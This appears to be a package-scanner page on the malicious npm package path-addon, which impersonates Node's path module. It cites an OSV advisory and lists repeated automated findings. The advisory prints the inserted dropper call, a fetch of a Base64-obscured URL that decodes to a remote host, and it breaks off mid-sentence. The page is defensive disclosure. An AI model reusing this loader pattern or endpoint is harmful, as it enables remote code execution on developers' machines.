OpenSSF/OSV advisory MAL-2026-3311 confirms this npm version as malicious. path-addon impersonates the Node.js core `path` module (package name `path-addon`, README claims to be 'an exact copy of the NodeJS path module'). The body of path.js is the genuine Joyent path implementation, but a remote-code-execution dropper has been inserted: on require(), the module calls `fetch(atob("aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9SRlc2SQ=="))` — which decodes to https://www.jsonkeeper.com/b/RFW6I, an...
Source decodes a Base64-obscured HTTP endpoint at runtime.
path.jsView on unpkg · L573Package source references a known benign dynamic code generation pattern.
path.jsView on unpkg · L577Package declares a runtime dependency whose name matches a Node built-in module.
package.jsonView on unpkgSource decodes a Base64-obscured HTTP endpoint at runtime.
path.jsView on unpkg · L573Package source references a known benign dynamic code generation pattern.
path.jsView on unpkg · L577Package declares a runtime dependency whose name matches a Node built-in module.
package.jsonView on unpkg